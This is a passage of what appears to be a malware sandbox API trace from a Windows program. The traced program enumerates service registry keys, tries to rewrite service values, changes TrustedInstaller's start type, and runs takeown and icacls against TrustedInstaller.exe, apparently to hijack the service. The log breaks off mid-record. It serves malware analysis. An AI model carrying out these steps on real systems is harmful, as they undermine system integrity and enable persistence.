0x0 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0257.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0257.610] RegCloseKey (hKey=0x80000002) returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0257.611] RegOpenKeyExW (in: hKey=0x160, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0257.611] RegCloseKey (hKey=0x160) returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0257.611] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0257.611] RegCloseKey (hKey=0x154) returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0257.611] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0257.612] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.613] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.614] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1de6e98, cbData=0x195) returned 0x6 [0257.614] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0257.614] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x1de4b10, cbData=0x1) returned 0x6 [0257.614] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.614] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.615] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x1de4690, cbData=0xc) returned 0x6 [0257.615] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0257.615] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x1de4690, cbData=0x1) returned 0x6 [0257.615] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.615] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.616] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x1de47f8, cbData=0x6) returned 0x6 [0257.616] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0257.616] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x1de47f8, cbData=0x1) returned 0x6 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.616] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.616] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x1de4690, cbData=0x1) returned 0x6 [0257.616] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" [0257.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0257.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3f8 [0257.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0257.617] LocalFree (hMem=0x5d3a08) returned 0x0 [0257.617] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x1de4c78, cbData=0x2f) returned 0x6 [0257.617] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x5d6d08 [0257.617] ChangeServiceConfigW (in: hService=0x5d6d08, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0257.635] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0257.636] RegCloseKey (hKey=0x164) returned 0x0 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0257.636] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0257.636] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0257.637] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0257.637] GetLastError () returned 0x5 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0257.637] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0257.637] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0257.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0257.637] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0257.637] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessInformation=0x18fbc0*(hProcess=0x160, hThread=0x164, dwProcessId=0x4c4, dwThreadId=0x648)) returned 1 [0257.644] NtClose (Handle=0x164) returned 0x0 [0257.644] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0257.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0257.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0257.645] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0257.645] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0257.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0257.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0257.645] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0257.645] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0257.645] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x2710) returned 0x0 [0257.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0257.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0257.831] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0257.831] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, 